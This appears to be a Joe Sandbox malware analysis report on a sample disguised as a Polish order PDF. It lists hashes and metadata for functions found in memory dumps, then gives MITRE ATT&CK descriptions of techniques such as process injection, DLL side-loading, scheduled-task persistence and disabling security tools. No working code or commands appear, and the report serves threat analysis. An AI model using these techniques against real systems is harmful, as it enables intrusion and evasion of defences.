Opcode ID: 1088dba67258f4d3696d338eb32dc95b9dc0e71d493ff40c286b27f5afe27484
Instruction ID: a177fe938d348c2921d0df2efda4a04242228a8695acae9c406f978ebf981c67
Opcode Fuzzy Hash: 1088dba67258f4d3696d338eb32dc95b9dc0e71d493ff40c286b27f5afe27484
Instruction Fuzzy Hash: B1217A30B04205CFDB25EB69C5597AEBBF6AB49300F1040A8D505EB791DB76DE41CBA2

Function 01870848 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

Ko, xrefs: 01870884

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: Ko
API String ID: 0-716275355
Opcode ID: 504ef1038eac4e65c307efc79dcf1c7f71f119895496aec02b8186f67f47a612
Instruction ID: c818a48633e3ec52c19f4dc1cf1084ab3397881f0326e518ba09d13554883055
Opcode Fuzzy Hash: 504ef1038eac4e65c307efc79dcf1c7f71f119895496aec02b8186f67f47a612
Instruction Fuzzy Hash: 2811E330B002098BEF26ABBEDC043293255EB86315F20497AF416CF342EE35DE858BC1

Function 01870838 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

Ko, xrefs: 01870884

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: Ko
API String ID: 0-716275355
Opcode ID: 72b3864254d180a583ad68160a5c2dd8c4cb0bcbcf0d14a579022dec68481870
Instruction ID: c4a7c75830880aad62eac53a72c6809be032d86add01242e203e38d96cbbab8e
Opcode Fuzzy Hash: 72b3864254d180a583ad68160a5c2dd8c4cb0bcbcf0d14a579022dec68481870
Instruction Fuzzy Hash: 8F11CA30B053098BEF265AB9DD107693655EB43315F10497BF516CF382E935CE854BC1

Function 01876BA0 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

LRq, xrefs: 01876BD7

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: 21ad49274f130ac4ab79601ae5527d1cbcbe0ed59f626323ce84cde8f6a62852
Instruction ID: 248e0e19a24ee5dd4581d3d9278f8c4551cdf6d9830a009eaca43176bfc8e2ec
Opcode Fuzzy Hash: 21ad49274f130ac4ab79601ae5527d1cbcbe0ed59f626323ce84cde8f6a62852
Instruction Fuzzy Hash: F111E7317042909FD7065B39885066D7FB2EF8B750B5884AAD44ACF386EE75CC06C796

Function 01878729 Relevance: .6, Instructions: 557COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 728eae691b7367aace0dd9d2ec9eadd6ee6b66b96dfef3f7487ba23a9f2430ea
Instruction ID: 0f796579c8c6a3116f4fd3964a92749715e024cc3eee3079db3e64455809ac32
Opcode Fuzzy Hash: 728eae691b7367aace0dd9d2ec9eadd6ee6b66b96dfef3f7487ba23a9f2430ea
Instruction Fuzzy Hash: 9212A334B112069FDB66A73CE85962C37A2FBC6301F208939E406CF355DE75ED469B82

Function 0187A18B Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735b9735abcfcc68685391e2acd64d782ea508cbeeabc3f4335dba9bcd3a3427
Instruction ID: 56abd52295d86b7efabcc9fc61b1266d69c79f869b8b594612050c370270a081
Opcode Fuzzy Hash: 735b9735abcfcc68685391e2acd64d782ea508cbeeabc3f4335dba9bcd3a3427
Instruction Fuzzy Hash: 86D1A635B002149FDB19DFA8D884AADBBB2FF88310F188528E906DB355DB35DE46CB50

Function 0187A6C0 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4754d28c87cae7a892ffe048256d2557e3dce0d8801dc2d130e0a1a815499b17
Instruction ID: 1a5858082f9e7cd549de9346eeca6fd6c5e0d02061308c4aa75759498486c7b3
Opcode Fuzzy Hash: 4754d28c87cae7a892ffe048256d2557e3dce0d8801dc2d130e0a1a815499b17
Instruction Fuzzy Hash: 7A719C75A002048FEB14CF69D884B9DBBB6FF88310F18C169E909EB395DB70DA45CB90

Function 0187A500 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c4ac62ccceb65cfb88a7de09c6f241bab8394b8a1ed93f367119b1065ca0a30
Instruction ID: 232f0ffdaa43576ec07f1402142768cb68a03e3bed239b58ef482a657d67a3a8
Opcode Fuzzy Hash: 0c4ac62ccceb65cfb88a7de09c6f241bab8394b8a1ed93f367119b1065ca0a30
Instruction Fuzzy Hash: 2E41B574B012059FDF29DBACD88076E7B66FBC6310F28482AD509DB281D735DE858782

Function 01871128 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d42b226abb0fcc35d25fab82474dfca53de7480766342c52caf3300b2103400
Instruction ID: ba7ad5d6013200df9ed715c2e134385754f05e1196b4d4c0b91767428a7a05e6
Opcode Fuzzy Hash: 7d42b226abb0fcc35d25fab82474dfca53de7480766342c52caf3300b2103400
Instruction Fuzzy Hash: 47515F3D5012498FC725DBBBF9909543F6AFB5A30530845A4D0144F27ADA786ECACF42

Function 01871138 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fee03db4b17768487cb15e98973b1ef207dbdd3c710635de143294a9d3e9f220
Instruction ID: 429b0d4210d1329b246f2a2264da2c895c76dd037ae01a4c908fb0dbb63eac65
Opcode Fuzzy Hash: fee03db4b17768487cb15e98973b1ef207dbdd3c710635de143294a9d3e9f220
Instruction Fuzzy Hash: 95511C3D51125A8FC725DBBBF9909543F6AFB5A30530845A4D0144F26ADB782DCACF82

Function 01870B4D Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd094bb377396499cd69d8d3fedc62823a31e0acd375e9c92a81326af4e2d747
Instruction ID: 161b59f5f464ea13ff1ff81825be2b72b2abd7026791da7df7fa0099f89df42c
Opcode Fuzzy Hash: fd094bb377396499cd69d8d3fedc62823a31e0acd375e9c92a81326af4e2d747
Instruction Fuzzy Hash: 91215A1082C386D6D737ABB8489C375BF58AF93314F8409ABE1C1CB56BCA18C668C253

Function 01875099 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89376005f595e0cb765a5b5a98c2595e05b09ace659a46bb750bd8f055541097
Instruction ID: 1a9e4660d71626067aa2651eef353e8b492285664b59b1f0e2f56934c6eaec1d
Opcode Fuzzy Hash: 89376005f595e0cb765a5b5a98c2595e05b09ace659a46bb750bd8f055541097
Instruction Fuzzy Hash: E4316D34B00215CFDB16DB79D6646AD7BB6AF4C301F1004A8D501EB394DB76DE41CBA2

Function 018750A8 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3a39822de9079e9fde6651a9a558eaa4029233be1adcba6669d395f58d88d8d
Instruction ID: 9aa5a7446547c408fa44c6021e618d4c5e6b66745c5fa9b7e60500b60afa6792
Opcode Fuzzy Hash: e3a39822de9079e9fde6651a9a558eaa4029233be1adcba6669d395f58d88d8d
Instruction Fuzzy Hash: 8E314B38B006158FDB19DB79D6646AE77B6AF4C301F1004A8D501EB394DF3ADE41CBA2

Function 0187A070 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ba3409ab9aff6a83f2eb0b1bdfc3cbe09296576c322171e5289ba309659ca26
Instruction ID: 2805495d82fe18fcef791c71d0efbe1a8a4f5cfb8445cdbaae35ae12b4fcd472
Opcode Fuzzy Hash: 4ba3409ab9aff6a83f2eb0b1bdfc3cbe09296576c322171e5289ba309659ca26
Instruction Fuzzy Hash: 6431B731E00609DBDB0ACF69D89069EB7B2FF85350F18C519E806EB351D771D946CB50

Function 01871380 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a4c1e7043b85d3949ccf40fa76d7d1134123f879367177f6740792998b8990f
Instruction ID: 6480c09b2e26867ec7b04c39e01cf18b64576cf1768be5ce0d7a4ced79f746f7
Opcode Fuzzy Hash: 9a4c1e7043b85d3949ccf40fa76d7d1134123f879367177f6740792998b8990f
Instruction Fuzzy Hash: 5A21F230A003418BEF32567DD4DC72D3B26EB02315F54486AE416CBB92DA2EDEC19783

Function 01879F70 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 710ba0fbf22bed000efac56424b8f514491af462637eeaf8532bd1dabb384b1b
Instruction ID: 81d44a577e874e16d6396a4df2278818de9defe6ac26b75d9096aee2be056b40
Opcode Fuzzy Hash: 710ba0fbf22bed000efac56424b8f514491af462637eeaf8532bd1dabb384b1b
Instruction Fuzzy Hash: C0218330E006099BCB1ACF68D454A9EB7B2BF85324F14851AE816FB351DB71EE45CB44

Function 01874F89 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00707d70aad4b71be50662b41ba38276995f41d79cdc6442920963d35926bc42
Instruction ID: 4087178d6e0edc4cc9543aa0297fc957a25a890abb7d4493c37d08c448cedd22
Opcode Fuzzy Hash: 00707d70aad4b71be50662b41ba38276995f41d79cdc6442920963d35926bc42
Instruction Fuzzy Hash: 52210434700205CFDB26DF79C558AADBBF1EB89704B1044A8E406EB3A5DB76DE00CBA1

Function 0187A080 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8da8c4df7d2deee88dc29f28d3585640b861e0d27e72ed3c8133df7265e4ffa4
Instruction ID: 22df55154a91cb1b827b0d0df023c244b351cba6d026f8cd6027a36b4318e2d9
Opcode Fuzzy Hash: 8da8c4df7d2deee88dc29f28d3585640b861e0d27e72ed3c8133df7265e4ffa4
Instruction Fuzzy Hash: 7B215E35A106199BDB0ACFA9D89069EF7B2FF85300F14C519E805EB341EB71D9868B50

Function 0181D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487171044.000000000181D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0181D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_181d000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55b7b41ad13af05ed0c639500f74eb74a936f0cf1996cb05e20810ef723bc39c
Instruction ID: 48ddd13958123bda394b55204d21bfce90646c4f4cf968e43138751b74ee76a3
Opcode Fuzzy Hash: 55b7b41ad13af05ed0c639500f74eb74a936f0cf1996cb05e20810ef723bc39c
Instruction Fuzzy Hash: 392125726042049FDB15DF64D9C8B16BB69FB84314F20C6ADE8498F34AC736D947CA62

Function 018716A3 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07143d556a2ec03acbaa4b443cf78a62cf62b61e9856b68c541c7196d4472809
Instruction ID: 39b89ed354ff955af7da7cb51b91d64d05ec5d28606208548f5c613a63424176
Opcode Fuzzy Hash: 07143d556a2ec03acbaa4b443cf78a62cf62b61e9856b68c541c7196d4472809
Instruction Fuzzy Hash: C421F6386102044FDF35D77AE88872A7B69EF41345F104A25E416CFB5ADE38ED858F92

Function 01871888 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 116ff76dbcaab68a2c70ee4a286fa066fcf6af795b43057d719a311c39e58617
Instruction ID: 2b2344368baa5e8cefc85bddcf551ecf62880a50eb9534451805bae481ef6b4a
Opcode Fuzzy Hash: 116ff76dbcaab68a2c70ee4a286fa066fcf6af795b43057d719a311c39e58617
Instruction Fuzzy Hash: CC212834B00209CFDB25EB69C5687AE7BF6AB4D301F104468D506EB790DB76DE41CBA2

Function 01879F80 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 224a6e04e2f86c0fc1281d4b9e7be4f42258020f4041dcdd4defac90f005df9c
Instruction ID: 29f508296b53f9bd8e78aa31db2adbece9022bb8484d1070f40e4ce4d611c49e
Opcode Fuzzy Hash: 224a6e04e2f86c0fc1281d4b9e7be4f42258020f4041dcdd4defac90f005df9c
Instruction Fuzzy Hash: F6214F30E00619DBDB1ACFA9D454A9EB7B2BF89314F10851AE816FB340EB71EA45CB51

Function 018716B0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 360a1ceda6ce4cf4b5a34b3234ee1b4021cf214d3c3b70d5802c6cb01e15d7e3
Instruction ID: b99a53ccfb5b9e679ff31652efde69b1240bf5264d685288804798e76d6d4538
Opcode Fuzzy Hash: 360a1ceda6ce4cf4b5a34b3234ee1b4021cf214d3c3b70d5802c6cb01e15d7e3
Instruction Fuzzy Hash: 8421F3386102044FDF35D76AE8887297B69EF41305F108A20E416CFB5ADE38DD858F82

Function 01874F98 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0cd7c1f98ac1f4d5763b19818604457d6d700519f67b55a59d537ede954ded8
Instruction ID: 7aeb046272ff612a3793f1dbda5dfb5f21bba4e984c1d4afaf4d8b174d08a693
Opcode Fuzzy Hash: f0cd7c1f98ac1f4d5763b19818604457d6d700519f67b55a59d537ede954ded8
Instruction Fuzzy Hash: C421F234700204CFDB25DF79C558AADB7F1EB89704B1044A8E506EB3A4DB76DE00CBA1

Function 0187A6B3 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892310469d5506c7ed65a13cc0828b99702b23cc23d683bb17881def9a834352
Instruction ID: ca768cdac273b6cedadb76b51e5c1f9c939d0f506a46a9f4c0a2a434e4e70591
Opcode Fuzzy Hash: 892310469d5506c7ed65a13cc0828b99702b23cc23d683bb17881def9a834352
Instruction Fuzzy Hash: 8C11E635A002084FDF15DB99D88079EBB65FF84311F588161D808DF286E771EA06C7A1

Function 01871488 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab6384606aa7f106c01a695f389ac3eaca854b74cd5f245dc61080cc88b4b68e
Instruction ID: c06702e447ab6e35ec0add0ef66fc43d62ded3c400627d008976dd558813605f
Opcode Fuzzy Hash: ab6384606aa7f106c01a695f389ac3eaca854b74cd5f245dc61080cc88b4b68e
Instruction Fuzzy Hash: 5911E531F002169BCF25EFBC84981AEBBF6EB59310B18007AE405E7341E735CA428BD2

Function 018717C3 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ab822e1f52374ebfb0c7034f70fbbe4b8fea9fd641eda52b2fc7c1b8056840a
Instruction ID: 1fd94e6399a40ca1a02fc82631372167851c8d3272563987b69f45bc52af0525
Opcode Fuzzy Hash: 5ab822e1f52374ebfb0c7034f70fbbe4b8fea9fd641eda52b2fc7c1b8056840a
Instruction Fuzzy Hash: 4A11E076B003119FCB119EBA980965FBFA9FB48350F108428E905D7346EA35CA018BD2

Function 0181D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487171044.000000000181D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0181D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_181d000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: c1380f122c2cbd0f7a04c33f1ff153e2687400cfbd7d870a34a222cf6f0879ac
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: A211BE76504244CFCB16CF54C5C4B15FB62FB44314F24C6A9D8498B256C33AD44ACF51

Function 01871498 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc16c31cef4513f87163b30c9327fe159507d7e04478393e0ecea47f76768fa5
Instruction ID: dbeed9cfe0828d7c349670fed28749b741d3af5269766b62eeb2ac3074095446
Opcode Fuzzy Hash: bc16c31cef4513f87163b30c9327fe159507d7e04478393e0ecea47f76768fa5
Instruction Fuzzy Hash: 63014C31E002169BCF26EFBC84941AEBBF6EB49350B24047AE805E7341E735CA428BD5

Function 01871524 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe17b6683bf4df23a279d84b91e82cf5c492230c91d6f2911530c49eafec213
Instruction ID: 9252ec10c8b54c0e68d6fbecefc17ca9220e78c966a98382765ae58ac6aac153
Opcode Fuzzy Hash: 4fe17b6683bf4df23a279d84b91e82cf5c492230c91d6f2911530c49eafec213
Instruction Fuzzy Hash: D7F02433A04210CFDB228FF888941ACBFB5EBA932171C40EBE846DB651D325D642DB52

Function 01878F11 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0218248be79ae68796170e032e221f6c8acb230856f468ca706c8170bedf01c
Instruction ID: 6d89564cba64f13dcc5297dcb87bff453cdd5c3765339f13f736a8253bbc936d
Opcode Fuzzy Hash: b0218248be79ae68796170e032e221f6c8acb230856f468ca706c8170bedf01c
Instruction Fuzzy Hash: 59014F3491020DAFDB50EFAAE85079DBFB1EF40304F5085A8C8059B248EA756E458B92

Function 01877EB0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03e7b2cb7a2739a74e21c23507818163fd2b9415605259da9fa64002dbef5797
Instruction ID: f674bbaaecf53d50220e83c24257bf89492a279b6749959d1505877ebe6ac047
Opcode Fuzzy Hash: 03e7b2cb7a2739a74e21c23507818163fd2b9415605259da9fa64002dbef5797
Instruction Fuzzy Hash: 6AF0C9357002048FC714DB69D569B6D7BB2EF88715F5180A8E5069B3A4DF35AD42CB41

Function 01878F20 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b0a0cb384c36e5814334fe043a6e221b2ecdb4adfa6935a0cb53a6f4f6ebf70
Instruction ID: 03da063c91b16fbff075005660948768d60516e089e7603be80227cd79dc1905
Opcode Fuzzy Hash: 9b0a0cb384c36e5814334fe043a6e221b2ecdb4adfa6935a0cb53a6f4f6ebf70
Instruction Fuzzy Hash: B5F0E13491021CEFDB55EFAAE95069DBBB5EF40300F50C6A8C8059F258EA716E458B92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
